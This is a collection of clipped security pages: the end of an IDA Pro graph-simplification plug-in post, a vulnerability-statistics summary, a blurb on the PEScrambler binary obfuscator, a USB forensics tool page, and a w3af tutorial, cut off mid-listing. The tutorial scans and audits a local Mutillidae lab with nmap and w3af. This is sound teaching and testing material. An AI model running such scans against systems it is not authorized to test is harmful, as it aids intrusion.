  1. Find all of the inline strcmp’s and create groups for those. Run Edit -> Plugins -> SimplifyGraph to bring up the plug-in chooser. In this function nearly every isolated subgraph is a 7-node inlined strcmp implementation. Go through in the chooser to verify, and create a group. This results in a graph similar to Figure 11.  
  
<img src='img/Temp2_3060.png' width='629' height='446' />  
Figure 11: Grouped strcmp  
  

  2. When an input string matches a command string, the malware branches to code that implements the command. To further simplify the graph and make analysis easier, run the Unique-Reachable algorithm on each separate command by right clicking on the first node after each string-comparison and selecting SimplifyGraph -> Create unique-reachable group. After this we now have a graph as in Figure 12.  
  
<img src='img/Temp2_3062.png' width='629' height='446' />  
Figure 12: Grouped command logic  
  

  3. Now perform your reverse engineering on each separate branch in the dispatch function. For each command handler group node that we created, right click that node and select “SimplifyGraph -> Complement & expand group”. A result of complementing a single command handler node is shown in Figure 13, which is much easier to analyze.  
  
<img src='img/Temp2_3064.png' width='629' height='309' />  
Figure 13: Group complement  
  

  4. When done analyzing the current command handler, delete the complement group by right clicking the “Complement of group X” node and use IDA’s built-in “Ungroup nodes” command. Repeat for the remaining command handler grouped nodes.

#### Config

You can tweak some of the configuration by entering data in a file named
%IDAUSR%/SimplifyGraph.cfg, where %IDAUSR% is typically %APPDATA%/Hex-Rays/IDA
Pro/ unless explicitly set to something else. All of the config applies to the
isolated subgraph component. Options:

\* SUBGRAPH\_HIGHLIGHT\_COLOR: Default 0xb3ffb3: The color to apply to nodes
when you double click/press enter in the chooser to show nodes that make up
the currently selected isolated subgraph. Not everyone agrees that my IDA
color scheme is best, so you can set your own highlight color here.

\* MINIMUM\_SUBGRAPH\_NODE\_COUNT: Default 3: The minimum number of nodes for
a valid isolated subgraph. If a discovered subgraph has fewer nodes than this
number it is not included in the shown list. This prevents trivial two-node
subgraphs from being shown.

\* MAXIMUM\_SUBGRAPH\_NODE\_PERCENTAGE: Default 95: The maximum percent of
group nodes \(100.0 \*\(subgroup\_node\_count /
total\_function\_node\_count\)\) allowed. This filters out isolated subgraphs
that make up \(nearly\) the entire function, which are typically not
interesting.

Example SimplifyGraph.cfg contents

\`\`\`

"MINIMUM\_SUBGRAPH\_NODE\_COUNT"=5

"MAXIMUM\_SUBGRAPH\_NODE\_PERCENTAGE"=75

"SUBGRAPH\_HIGHLIGHT\_COLOR"=0x00aa1111

\`\`\`

Prior work:

I came across semi-related work while working on this: GraphSlick from the
2014 Hex-Rays contest. That plug-in had different goals to automatically
identifying \(nearly\) identical inline functions via CFG and basic block
analysis, and patching the program to force mock function calls to the
explicit function. It had a separate viewer to present information to the
user.

SimplifyGraph is focused on automating tasks when doing manual reverse
engineering \(group creation\) to reduce the complexity of disassembly in
graph mode. Future work may incorporate the same prime-products calculations
to help automatically identify isolated subgraphs.

#### Installation

Prebuilt Windows binaries are available from the Releases tab of the GitHub
project page. The ZIP files contain both IDA 32 and IDA 64 plug-ins for each
of the new IDA 7.0 SDK and for the legacy IDA 6.95 SDK. Copy the two plug-ins
for your version of IDA to the %IDADIR%\plugins directory.

#### Building

This plug-in & related files were built using Visual Studio 2013 Update 5.

Environment Variables Referenced by project:

\* IDASDK695: path to the extracted IDA 6.95 SDK. This should have \`include\`
and \`lib\` paths beneath it.

\* IDASDK: path to the extracted IDA 7.0 \(or newer\) SDK. This Should have
\`include\` and \`lib\` paths beneath it.

\* BOOSTDIR: path to the extracted Boost library. Should have \`boost\` and
\`libs\` paths beneath it.

The easiest way is to use the Microsoft command-line build tools:

\* For IDA7.0: Launch VS2013 x64 Native Tools Command Prompt, then run:

\`\`\`

msbuild SimplifyGraph.sln /property:Configuration=ReleaseIDA70\_32
/property:Platform=x64

msbuild SimplifyGraph.sln /property:Configuration=ReleaseIDA70\_64
/property:Platform=x64

\`\`\`

\* For IDA6.95: Launch VS2013 x86 Native Tools Command Prompt, then run:

\`\`\`

msbuild SimplifyGraph.sln /property:Configuration=ReleaseIDA695\_32
/property:Platform=Win32

msbuild SimplifyGraph.sln /property:Configuration=ReleaseIDA695\_64
/property:Platform=Win32

\`\`\`

#### Conclusion

I hope this blog has shown the power of automatically grouping nodes within a
disassembly graph view, and viewing these groups in isolation to help with
your analysis. This plug-in has become a staple of my workflow, and we’re
releasing it to the community with the hope that others find it useful as
well.

#### Appendix: Isolated Subgraphs

Finding isolated subgraphs relies on calculating the immediate dominator and
immediate post-dominator trees for a given function graph.

A node d dominates n if every path to n must go through d.

The immediate dominator p of node n is basically the closest dominator to n,
where there is no node t where p dominates t, and t dominates n.

A node z post-dominates a node n if every path from n to the exit node must go
through z.

The immediate post-dominator x of node n is the closest post-dominator, where
there is no node t where t post-dominates n and x post-dominates t.

The immediate dominator relationship forms a tree of nodes, where every node
has an immediate dominator other than the entry node.

The Lengauer-Tarjan algorithm can efficiently calculate the immediate
dominator tree of a graph. It can also calculate the immediate post-dominator
tree by reversing the direction of each edge in the same graph.

The plug-in calculates the immediate dominator tree and immediate post-
dominator tree of the function control flow graph and looks for the situations
where the \(idom\[i\] == j\) and \(ipdom\[j\] == i\). This means all paths
from the function start to node i must go through node j, and all paths from j
to the function terminal must go through i. A candidate isolated subgraph thus
starts at node j and ends at node i.

For each candidate isolated subgraph, the plug-in further verifies only the
entry node has predecessor nodes not in the candidate subgraph. The plug-in
also filters out candidate subgraphs by making sure they have a minimum node
count and cover a maximum percentage of nodes \(see
MINIMUM\_SUBGRAPH\_NODE\_COUNT and MAXIMUM\_SUBGRAPH\_NODE\_PERCENTAGE in the
config section\).

One complication is that functions often have more than one terminal node –
programmers can arbitrarily return from the current function at any point. The
immediate post-dominator tree is calculated for every terminal node, and any
inconsistencies are marked as indeterminate and are not possible candidates
for use. Functions with infinite loops do not have terminal nodes, and are not
currently handled.

For a simple example, consider the graph in Figure 14. It has the following
immediate dominator and post-dominator trees:

<img src='img/Temp2_3068.png' width='259' height='686' />  
Figure 14: Example graph

Node | idom  
---|---  
0 | None  
1 | 0  
2 | 1  
3 | 1  
4 | 3  
5 | 3  
6 | 3  
7 | 6  
8 | 0  
Node | ipdom  
---|---  
0 | 8  
1 | 3  
2 | 3  
3 | 6  
4 | 6  
5 | 6  
6 | 7  
7 | 8  
8 | None  
Looking for pairs of \(idom\[i\] == j\) and \(ipdom\[j\] == i\) gives the
following:

\(0, 8\) \(1, 3\) \(3, 6\) \(6,7\)

\(0, 8\) is filtered because it makes up all of the nodes of the graph.

\(1,3\) and \(6, 7\) are filtered out because they contain nodes reachable
from nodes not in the set: for \(1, 3\) node 2 is reachable from node 6, and
for \(6, 7\) node 2 is reachable from node 1.

This leaves \(3, 6\) as the only isolate subgraph in this example, shown in
Figure 15.

<img src='img/Temp2_3057.png' width='259' height='686' />  
Figure 15: Example graph with isolated subgraph

This entry was posted on Thu Jan 11 11:45 EST 2018 and filed under Ida Pro and
Jay Smith.

  

# Sourcefire VRT Unveils Research on 25 Years of Vulnerabilities: 1988-2012 | | Sourcefire blog
**Created:**| _3/6/2013 9:34:42 AM_  
---|---  
**Updated:**| _3/6/2013 9:34:42 AM_  
**Author:**| __  
**Tags:**| _statistics_  
  

### Sourcefire VRT Unveils Research on 25 Years of Vulnerabilities: 1988-2012

posted by **Staff Contributor**

As we have previously posted, few take a greater interest in vulnerabilities
than our Vulnerability Research Team \(VRT\). Today we unveil their research
on trends in the last 25 years of vulnerabilities. Please see the post below,
reposted from the VRT blog, providing an overview of the findings and a link
to download the research.

> We here at the VRT are all about backing up opinions with facts, and there
> are a lot of opinions about the nature of the vulnerability landscape out
> there. That in mind, we decided recently to study the numbers, and put
> conventional wisdom to the test.
> At a high level, the numbers show that while vendors are putting increasing
> amounts of effort into security, critical vulnerabilities such as the recent
> Java, PDF, and Internet Explorer 0-days are on the upswing again of late.
> Combined with the clear upward trend in the amount of malware being dropped
> via these vulnerabilities - the Sourcefire VRT now sees an average of over
> 200,000 unique new malware samples per day - it is clear that users need to
> be vigilant as ever dealing with the modern threat landscape.
> Here are some further highlights from the report:
>   * Total vulnerabilities and highly critical vulnerabilities were up in
> 2012 after a significant downswing over the previous few years; 2012 was a
> record-breaking year for the number of most critical vulnerabilities, those
> with a CVSS score of 10.
>   * Buffer overflows continue to be the most important type of
> vulnerability, with 35% of the total share of critical vulnerabilities over
> the last 25 years.
>   * For the first time since 1998, Microsoft did not lead vendors in terms
> of vulnerabilities reported in 2012; that dubious distinction went to
> Oracle, whose 2010 acquisition of Sun's Java programming language, a
> favorite of attackers, contributed to that trend.
>   * Firefox had more critical vulnerabilities than Internet Explorer over
> the time period studied, casting doubt on the conventional wisdom that IE is
> the least secure browser.
>   * Microsoft released 13% of their patches after the CVE was published,
> meaning that vulnerability information was publicly available and
> potentially exploited before a patch was released \(0-day\).
>

> You can download the full report here. We hope you enjoy our quick dive into
> the world of vulnerability statistics; if there's any statistics you'd like
> us to look into in a follow-up post, let us know in the comments.
  

Labels:

sourcefire vrt vrt

# pescrambler - Project Hosting on Google Code

**Created:**| _7/20/2010 8:09:25 AM_  
---|---  
**Updated:**| _7/20/2010 8:11:52 AM_  
**Author:**| __  
**Tags:**| _reversing Malware-analysis Obfuscation_  
  

PEScrambler is a tool to obfuscate win32 binaries automatically. It can
relocate portions of code and protect them with anti-disassembly code. It also
defeats static program flow analysis by re-routing all function calls through
a central dispatcher function.

  

# ForensicUSBDeviceInfo : woanware

**Created:**| _12/18/2009 10:19:08 PM_  
---|---  
**Updated:**| _12/18/2009 10:19:14 PM_  
**Author:**| __  
**Tags:**| _Forensics_  
  

# ForensicUSBDeviceInfo

**Info**

ForensicUSBDeviceInfo is an application to extract numerous bits of
information regarding USB devices. It uses the information from a SANS blog
posting to retrieve operating system specific information.

It should be noted that whilst the information in the blog posting is
accurate, there is a caveat to be aware of. During my testing I have found
that an unknown process can update the Date/Time values across all keys, in
particular the USBSTOR keys. Therefore, you could see the same Last Written
Date/Time value on each device key. If you see this occurring, then you
obviously cannot rely on the values retrieved.

All of the dates should be DD/MM/YYYY. Apart from the Install date which I
currently just take the value out of the setup.api.dev.log file, so that value
is YYYY/MM/DD. Though I do plan to parse it correctly, so that the date/times
are consistent.

**Screenshot**

<img src='img/Temp2_3247.png' width='470' height='343' />

# Episode151 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 1:02:18 PM_  
---|---  
**Updated:**| _8/5/2009 1:02:30 PM_  
**Author:**| __  
**Tags:**| _web-app-sec security tools pauldotcom pentest Tutorials_  
  

# Tech Segment: w3af FTW with Seth Misenar

In episode 144, I gave a technical segment that provided a broad overview of
the functionality provided by w3af. In this episode, I hope to illustrate some
techniques you can use to break into some web apps.

## The Setup

  * OWASP Live CD within VM as the attack platform \(another alternative would be SamuraiWTF\).
  * Leveraging Mutillidae \(thx Irongeek\) on Windows platform for the target: \(http://192.168.117.1/mutillidea/\)
  * Added "functionality" to Mutillidae, including additional vulnerable PHP application \(http://192.168.117.1/mutillidae/audits\) - \(Thanks Andres for the code/suggestion\)

## The Process

The goal was to show how we can use w3af to discover a web application
vulnerabilities and exploit them. Web Application assessments are more of an
art rather than science, even with the burgeoning tools that are available. It
is never a good idea to enable all of the scanning/attacking options and set
the tool loose. This is especially true with w3af's Discovery plugins. Let's
see if we can collect information about the architecture of our target
\(192.168.117.1\):

[code]

    # nmap -O -sC -sV -p80 192.168.117.1
    
[/code]

The results show the operating system to be Windows running an Apache web
server leveraging a PHP framework. This information will be added to the
context of our scan. As stated in the previous podcast \(144\), there are two
primary methods of configuring/running scans: the GUI and the console. We
explore each in the videos associated with this tech segment and will discuss
them here.

## Console

The help command provides a context sensitive heads-up help menu:

[code]

    w3af>>> help
    |-----------------------------------------------------------------------------|
    | start         | Start the scan.                                             |
    | plugins       | Enable and configure plugins.                               |
    | exploit       | Exploit the vulnerability.                                  |
    | profiles      | List and use scan profiles.                                 |
    |-----------------------------------------------------------------------------|
    | http-settings | Configure the HTTP settings of the framework.               |
    | misc-settings | Configure w3af misc settings.                               |
    | target        | Configure the target URL.                                   |
    |-----------------------------------------------------------------------------|
    | back          | Go to the previous menu.                                    |
    | exit          | Exit w3af.                                                  |
    | assert        | Check assertion.                                            |
    |-----------------------------------------------------------------------------|
    | help          | Display help. Issuing: help [command] , prints more         |
    |               | specific help about "command"                               |
    | version       | Show w3af version information.                              |
    | keys          | Display key shortcuts.                                      |
    |-----------------------------------------------------------------------------|
    w3af>>>
    
[/code]

The target command will take us into the w3af console:

[code]

    w3af>>> target
    w3af/config:target>>> view
    |----------------------------------------------------------------------------|
    | Setting         | Value   | Description                                    |
    |----------------------------------------------------------------------------|
    | targetOS        | unknown | Target operating system (unknown/unix/windows) |
    | targetFramework | unknown | Target programming framework                   |
    |                 |         | (unknown/php/asp/asp.net/java/jsp/cfm/ruby/perl) |
    
    | target          |         | A comma separated list of URLs                 |
    |----------------------------------------------------------------------------|
    w3af/config:target>>>
    
[/code]

Let's set our configuration options for our target:

[code]

    w3af/config:target>>> set targetOS windows
    w3af/config:target>>> set targetFramework php
    w3af/config:target>>> set target http://localhost/mutillidae/audit/file_upload/
    
[/code]

Now we can see that our target settings took.

[code]

    w3af/config:target>>> view
    |-----------------------------------------------------------------------------|
    | Setting | Value                   | Description                             |
    |-----------------------------------------------------------------------------|
    | targetOS | windows                 | Target operating system                |
    |         |                         | (unknown/unix/windows)                  |
    | targetFramework | php                     | Target programming framework    |
    |         |                         | (unknown/php/asp/asp.net/java/jsp/cfm/ruby
    /perl) |
    | target  | http://localhost/mutillidae/audit/file_upload/ | A comma separated l
    ist of URLs          |
    |-----------------------------------------------------------------------------|
    w3af/config:target>>>
    
[/code]

Now we jump back to the main console, and then move into the plugins section.
The plugins command will take us into the section of the w3af console that
allows us to configure our plugins.

[code]

    w3af/config:target>>> back
    w3af>>> plugins
    
[/code]

Let's view the various plugins available

[code]

    w3af/plugins>>> help
    |-----------------------------------------------------------------------------|
    | list          | List available plugins.                                     |
    |-----------------------------------------------------------------------------|
    | back          | Go to the previous menu.                                    |
    | exit          | Exit w3af.                                                  |
    | assert        | Check assertion.                                            |
    |-----------------------------------------------------------------------------|
    | audit         | View, configure and enable audit plugins                    |
    | bruteforce    | View, configure and enable bruteforce plugins               |
    | discovery     | View, configure and enable discovery plugins                |
    | evasion       | View, configure and enable evasion plugins                  |
    | grep          | View, configure and enable grep plugins                     |
    | mangle        | View, configure and enable mangle plugins                   |
    | output        | View, configure and enable output plugins                   |
    |-----------------------------------------------------------------------------|
    w3af/plugins>>>
    
[/code]

The audit command will show us the current audit plugin configuration.

[code]

    w3af/plugins>>> audit
    |----------------------------------------------------------------------------|
    | Plugin name       | Status | Conf | Description                            |
    |----------------------------------------------------------------------------|
    | LDAPi             |        |      | Find LDAP injection bugs.              |
    | blindSqli         |        | Yes  | Find blind SQL injection               |
    |                   |        |      | vulnerabilities.                       |
    | buffOverflow      |        |      | Find buffer overflow vulnerabilities.  |
    | dav               |        |      | Verify if the WebDAV module is         |
    |                   |        |      | properly configured.                   |
    | eval              |        | Yes  | Find insecure eval() usage.            |
    | fileUpload        |        | Yes  | Uploads a file and then searches for   |
    |                   |        |      | the file inside all known directories. |
    | formatString      |        |      | Find format string vulnerabilities.    |
    | frontpage         |        | Yes  | Tries to upload a file using frontpage |
    |                   |        |      | extensions (author.dll).               |
    | generic           |        | Yes  | Find all kind of bugs without using a  |
    |                   |        |      | fixed database of errors.              |
    | globalRedirect    |        |      | Find scripts that redirect the browser |
    |                   |        |      | to any site.                           |
    | htaccessMethods   |        |      | Find misconfigurations in the          |
    |                   |        |      | "<LIMIT>" configuration of Apache.     |
    | localFileInclude  |        |      | Find local file inclusion              |
    |                   |        |      | vulnerabilities.                       |
    | mxInjection       |        |      | Find MX injection vulnerabilities.     |
    | osCommanding      |        |      | Find OS Commanding vulnerabilities.    |
    | phishingVector    |        |      | Find phishing vectors.                 |
    | preg_replace      |        |      | Find unsafe usage of PHPs              |
    |                   |        |      | preg_replace.                          |
    | remoteFileInclude |        | Yes  | Find remote file inclusion             |
    |                   |        |      | vulnerabilities.                       |
    | responseSplitting |        |      | Find response splitting                |
    |                   |        |      | vulnerabilities.                       |
    | sqli              |        |      | Find SQL injection bugs.               |
    | ssi               |        |      | Find server side inclusion             |
    |                   |        |      | vulnerabilities.                       |
    | sslCertificate    |        |      | Check the SSL certificate validity( if |
    |                   |        |      | https is being used ).                 |
    | unSSL             |        |      | Find out if secure content can also be |
    |                   |        |      | fetched using http.                    |
    | xpath             |        |      | Find XPATH injection vulnerabilities.  |
    | xsrf              |        |      | Find the easiest to exploit xsrf       |
    |                   |        |      | vulnerabilities.                       |
    | xss               |        | Yes  | Find cross site scripting              |
    |                   |        |      | vulnerabilities.                       |
    | xst               |        |      | Find Cross Site Tracing                |
    |                   |        |      | vulnerabilities.                       |
    |----------------------------------------------------------------------------|
    w3af/plugins>>>
    
[/code]

Now, we enable the fileUpload audit plugin with the following command, and
then confirm the configuration.

[code]

    w3af/plugins>>> audit fileUpload
    w3af/plugins>>> audit
    |----------------------------------------------------------------------------|
    | Plugin name       | Status  | Conf | Description                           |
    |----------------------------------------------------------------------------|
    | LDAPi             |         |      | Find LDAP injection bugs.             |
    | blindSqli         |         | Yes  | Find blind SQL injection              |
    |                   |         |      | vulnerabilities.                      |
    | buffOverflow      |         |      | Find buffer overflow vulnerabilities. |
    | dav               |         |      | Verify if the WebDAV module is        |
    |                   |         |      | properly configured.                  |
    | eval              |         | Yes  | Find insecure eval() usage.           |
    | fileUpload        | Enabled | Yes  | Uploads a file and then searches for  |
    |                   |         |      | the file inside all known             |
    |                   |         |      | directories.                          |
    | formatString      |         |      | Find format string vulnerabilities.   |
    | frontpage         |         | Yes  | Tries to upload a file using          |
    |                   |         |      | frontpage extensions (author.dll).    |
    | generic           |         | Yes  | Find all kind of bugs without using a |
    |                   |         |      | fixed database of errors.             |
    | globalRedirect    |         |      | Find scripts that redirect the        |
    |                   |         |      | browser to any site.                  |
    | htaccessMethods   |         |      | Find misconfigurations in the         |
    |                   |         |      | "<LIMIT>" configuration of Apache.    |
    | localFileInclude  |         |      | Find local file inclusion             |
    |                   |         |      | vulnerabilities.                      |
    | mxInjection       |         |      | Find MX injection vulnerabilities.    |
    | osCommanding      |         |      | Find OS Commanding vulnerabilities.   |
    | phishingVector    |         |      | Find phishing vectors.                |
    | preg_replace      |         |      | Find unsafe usage of PHPs             |
    |                   |         |      | preg_replace.                         |
    | remoteFileInclude |         | Yes  | Find remote file inclusion            |
    |                   |         |      | vulnerabilities.                      |
    | responseSplitting |         |      | Find response splitting               |
    |                   |         |      | vulnerabilities.                      |
    | sqli              |         |      | Find SQL injection bugs.              |
    | ssi               |         |      | Find server side inclusion            |
    |                   |         |      | vulnerabilities.                      |
    | sslCertificate    |         |      | Check the SSL certificate validity(   |
    |                   |         |      | if https is being used ).             |
    | unSSL             |         |      | Find out if secure content can also   |
    |                   |         |      | be fetched using http.                |
    | xpath             |         |      | Find XPATH injection vulnerabilities. |
    | xsrf              |         |      | Find the easiest to exploit xsrf      |
    |                   |         |      | vulnerabilities.                      |
    | xss               |         | Yes  | Find cross site scripting             |
    |                   |         |      | vulnerabilities.                      |
    | xst               |         |      | Find Cross Site Tracing               |
    |                   |         |      | vulnerabilities.                      |
    |----------------------------------------------------------------------------|
    w3af/plugins>>>
    
[/code]

The discovery command shows the current discovery plugin configuration.

[code]

    w3af/plugins>>> discovery
    |---------------------------------------------------------------------------|
    | Plugin name            | Status | Conf | Description                      |
    |---------------------------------------------------------------------------|
    | MSNSpider              |        | Yes  | Search MSN to get a list of new  |
    |                        |        |      | URLs                             |
    | afd                    |        |      | Find out if the remote web       |
    |                        |        |      | server has an active filter (    |
    |                        |        |      | IPS or WAF ).                    |
    | allowedMethods         |        | Yes  | Enumerate the allowed methods of |
    |                        |        |      | an URL.                          |
    | archiveDotOrg          |        | Yes  | Search archive.org to find new   |
    |                        |        |      | pages in the target site.        |
    | crossDomain            |        |      | Analyze the crossdomain.xml      |
    |                        |        |      | file.                            |
    | detectReverseProxy     |        |      | Find out if the remote web       |
    |                        |        |      | server has a reverse proxy.      |
    | detectTransparentProxy |        |      | Find out if your ISP has a       |
    |                        |        |      | transparent proxy installed.     |
    | digitSum               |        | Yes  | Take an URL with a number (      |
    |                        |        |      | index2.asp ) and try to find     |
    |                        |        |      | related files (index1.asp,       |
    |                        |        |      | index3.asp).                     |
    | dnsWildcard            |        |      | Find out if www.site.com and     |
    |                        |        |      | site.com return the same page.   |
    | domain_dot             |        |      | Send a specially crafted request |
    |                        |        |      | with a dot after the domain      |
    |                        |        |      | (http://host.tld./) and analyze  |
    |                        |        |      | response.                        |
    | dotNetErrors           |        |      | Request specially crafted URLs   |
    |                        |        |      | that generate ASP.NET errors in  |
    |                        |        |      | order to gather information.     |
    | findBackdoor           |        |      | Find web backdoors and web       |
    |                        |        |      | shells.                          |
    | findCaptchas           |        |      | Identify captcha images on web   |
    |                        |        |      | pages.                           |
    | findvhost              |        |      | Modify the HTTP Host header and  |
    |                        |        |      | try to find virtual hosts.       |
    | fingerGoogle           |        | Yes  | Search Google using the Google   |
    |                        |        |      | API to get a list of users for a |
    |                        |        |      | domain.                          |
    | fingerMSN              |        | Yes  | Search MSN to get a list of      |
    |                        |        |      | users for a domain.              |
    | fingerPKS              |        |      | Search MIT PKS to get a list of  |
    |                        |        |      | users for a domain.              |
    | fingerprint_WAF        |        |      | Identify if a Web Application    |
    |                        |        |      | Firewall is present and if       |
    |                        |        |      | possible identify the vendor and |
    |                        |        |      | version.                         |
    | fingerprint_os         |        |      | Fingerprint the remote operating |
    |                        |        |      | system using the HTTP protocol.  |
    | frontpage_version      |        |      | Search FrontPage Server Info     |
    |                        |        |      | file and if it finds it will     |
    |                        |        |      | determine its version.           |
    | ghdb                   |        | Yes  | Search Google for                |
    |                        |        |      | vulnerabilities in the target    |
    |                        |        |      | site.                            |
    | googleSets             |        | Yes  | Use Google sets to get related   |
    |                        |        |      | words from an URI and test them  |
    |                        |        |      | to find new URLs.                |
    | googleSpider           |        | Yes  | Search google using google API   |
    |                        |        |      | to get new URLs                  |
    | halberd                |        |      | Identify if the remote server    |
    |                        |        |      | has HTTP load balancers.         |
    | hmap                   |        | Yes  | Fingerprint the server type, i.e |
    |                        |        |      | apache, iis, tomcat, etc.        |
    | importResults          |        | Yes  | Import URLs found by other       |
    |                        |        |      | tools.                           |
    | oracleDiscovery        |        |      | Find Oracle applications on the  |
    |                        |        |      | remote web server.               |
    | phishtank              |        | Yes  | Search the phishtank.com         |
    |                        |        |      | database to determine if your    |
    |                        |        |      | server is (or was) being used in |
    |                        |        |      | phishing scams.                  |
    | phpEggs                |        |      | Fingerprint the PHP version      |
    |                        |        |      | using documented easter eggs     |
    |                        |        |      | that exist in PHP.               |
    | phpinfo                |        |      | Search PHP Info file and if it   |
    |                        |        |      | finds it will determine the      |
    |                        |        |      | version of PHP.                  |
    | pykto                  |        | Yes  | A nikto port to python.          |
    | robotsReader           |        |      | Analyze the robots.txt file and  |
    |                        |        |      | find new URLs                    |
    | serverHeader           |        | Yes  | Identify the server type based   |
    |                        |        |      | on the server header.            |
    | serverStatus           |        |      | Find new URLs from the Apache    |
    |                        |        |      | server-status cgi.               |
    | sharedHosting          |        | Yes  | Use MSN search to determine if   |
    |                        |        |      | the website is in a shared       |
    |                        |        |      | hosting.                         |
    | sitemapReader          |        |      | Analyze the sitemap.xml file and |
    |                        |        |      | find new URLs                    |
    | slash                  |        |      | Identify if the resource         |
    |                        |        |      | http://host.tld/spam/ and        |
    |                        |        |      | http://host.tld/spam are the     |
    |                        |        |      | same.                            |
    | spiderMan              |        | Yes  | SpiderMan is a local proxy that  |
    |                        |        |      | will collect new URLs.           |
    | urlFuzzer              |        | Yes  | Try to find backups, and other   |
    |                        |        |      | related files.                   |
    | userDir                |        | Yes  | Try to find user directories     |
    |                        |        |      | like "http://test/~user/" and    |
    |                        |        |      | identify the remote OS based on  |
    |                        |        |      | the remote users.                |
    | webDiff                |        | Yes  | Compare a local directory with a |
    |                        |        |      | remote URL path.                 |
    | webSpider              |        | Yes  | Crawl the whole site to find new |
    |                        |        |      | URLs                             |
    | wordnet                |        | Yes  | Use the wordnet lexical database |
    |                        |        |      | to find new URLs.                |
    | wsdlFinder             |        |      | Find web service definitions     |
    |                        |        |      | files.                           |
    | yahooSiteExplorer      |        | Yes  | Search Yahoo's index using Yahoo |
    |                        |        |      | site explorer to get a list of   |
    |                        |        |      | URLs                             |
    | zone_h                 |        |      | Find out if the site was defaced |
    |                        |        |      | in the past.                     |
    |---------------------------------------------------------------------------|
    w3af/plugins>>> 
    
[/code]

This enables the webSpider discovery plugin.

[code]

    w3af/plugins>>> discovery webSpider
    
[/code]

As we saw above when just running discovery, there are configurable options
for the webSpider discovery plugin. This command allows us to set the
configurable options for the webSpider discovery plugin.

[code]

    w3af/plugins>>> discovery config webSpider
    w3af/plugins/discovery/config:webSpider>>>
    
[/code]

Here we can see what options are available for configuration.

[code]

    w3af/plugins/discovery/config:webSpider>>> view
    |-----------------------------------------------------------------------------|
    | Setting      | Value | Description                                          |
    |-----------------------------------------------------------------------------|
    | urlParameter |       | Append the given parameter to new URLs found by the  |
    |              |       | spider. Example:                                     |
    |              |       | http://www.foobar.com/index.jsp;<parameter>?id=2     |
    | followRegex  | .*    | When spidering, only follow links that match this    |
    |              |       | regular expression (ignoreRegex has precedence over  |
    |              |       | followRegex)                                         |
    | ignoreRegex  | None  | When spidering, DO NOT follow links that match this  |
    |              |       | regular expression (has precedence over followRegex) |
    | onlyForward  | False | When spidering, only search directories inside the   |
    |              |       | one that was given as target                         |
    |-----------------------------------------------------------------------------|
    w3af/plugins/discovery/config:webSpider>>>
    
[/code]

Now we set the onlyForward option to True which will allow us to not go any
higher than the directory we are in. After setting the option we confirm the
setting.

[code]

    w3af/plugins/discovery/config:webSpider>>> set onlyForward True
    w3af/plugins/discovery/config:webSpider>>> view
    |-----------------------------------------------------------------------------|
    | Setting      | Value | Description                                          |
    |-----------------------------------------------------------------------------|
    | urlParameter |       | Append the given parameter to new URLs found by the  |
    |              |       | spider. Example:                                     |
    |              |       | http://www.foobar.com/index.jsp;<parameter>?id=2     |
    | followRegex  | .*    | When spidering, only follow links that match this    |
    |              |       | regular expression (ignoreRegex has precedence over  |
    |              |       | followRegex)                                         |
    | ignoreRegex  | None  | When spidering, DO NOT follow links that match this  |
    |              |       | regular expression (has precedence over followRegex) |
    | onlyForward  | True  | When spidering, only search directories inside the   |
    |              |       | one that was given as target                         |
    |-----------------------------------------------------------------------------|
    w3af/plugins/discovery/config:webSpider>>>
    
[/code]

Now we back out of the webSpider config view and confirm our discovery
settings.

[code]

    w3af/plugins/discovery/config:webSpider>>> back
    w3af/plugins>>> discovery
    |----------------------------------------------------------------------------|
    | Plugin name            | Status  | Conf | Description                      |
    |----------------------------------------------------------------------------|
    | MSNSpider              |         | Yes  | Search MSN to get a list of new  |
    |                        |         |      | URLs                             |
    | afd                    |         |      | Find out if the remote web       |
    |                        |         |      | server has an active filter (    |
    |                        |         |      | IPS or WAF ).                    |
    | allowedMethods         |         | Yes  | Enumerate the allowed methods of |
    |                        |         |      | an URL.                          |
    | archiveDotOrg          |         | Yes  | Search archive.org to find new   |
    |                        |         |      | pages in the target site.        |
    | crossDomain            |         |      | Analyze the crossdomain.xml      |
    |                        |         |      | file.                            |
    | detectReverseProxy     |         |      | Find out if the remote web       |
    |                        |         |      | server has a reverse proxy.      |
    | detectTransparentProxy |         |      | Find out if your ISP has a       |
    |                        |         |      | transparent proxy installed.     |
    | digitSum               |         | Yes  | Take an URL with a number (      |
    |                        |         |      | index2.asp ) and try to find     |
    |                        |         |      | related files (index1.asp,       |
    |                        |         |      | index3.asp).                     |
    | dnsWildcard            |         |      | Find out if www.site.com and     |
    |                        |         |      | site.com return the same page.   |
    | domain_dot             |         |      | Send a specially crafted request |
    |                        |         |      | with a dot after the domain      |
    |                        |         |      | (http://host.tld./) and analyze  |
    |                        |         |      | response.                        |
    | dotNetErrors           |         |      | Request specially crafted URLs   |
    |                        |         |      | that generate ASP.NET errors in  |
    |                        |         |      | order to gather information.     |
    | findBackdoor           |         |      | Find web backdoors and web       |
    |                        |         |      | shells.                          |
    | findCaptchas           |         |      | Identify captcha images on web   |
    |                        |         |      | pages.                           |
    | findvhost              |         |      | Modify the HTTP Host header and  |
    |                        |         |      | try to find virtual hosts.       |
    | fingerGoogle           |         | Yes  | Search Google using the Google   |
    |                        |         |      | API to get a list of users for a |
    |                        |         |      | domain.                          |
    | fingerMSN              |         | Yes  | Search MSN to get a list of      |
    |                        |         |      | users for a domain.              |
    | fingerPKS              |         |      | Search MIT PKS to get a list of  |
    |                        |         |      | users for a domain.              |
    | fingerprint_WAF        |         |      | Identify if a Web Application    |
    |                        |         |      | Firewall is present and if       |
    |                        |         |      | possible identify the vendor and |
    |                        |         |      | version.                         |
    | fingerprint_os         |         |      | Fingerprint the remote operating |
    |                        |         |      | system using the HTTP protocol.  |
    | frontpage_version      |         |      | Search FrontPage Server Info     |
    |                        |         |      | file and if it finds it will     |
    |                        |         |      | determine its version.           |
    | ghdb                   |         | Yes  | Search Google for                |
    |                        |         |      | vulnerabilities in the target    |
    |                        |         |      | site.                            |
    | googleSets             |         | Yes  | Use Google sets to get related   |
    |                        |         |      | words from an URI and test them  |
    |                        |         |      | to find new URLs.                |
    | googleSpider           |         | Yes  | Search google using google API   |
    |                        |         |      | to get new URLs                  |
    | halberd                |         |      | Identify if the remote server    |
    |                        |         |      | has HTTP load balancers.         |
    | hmap                   |         | Yes  | Fingerprint the server type, i.e |
    |                        |         |      | apache, iis, tomcat, etc.        |
    | importResults          |         | Yes  | Import URLs found by other       |
    |                        |         |      | tools.                           |
    | oracleDiscovery        |         |      | Find Oracle applications on the  |
    |                        |         |      | remote web server.               |
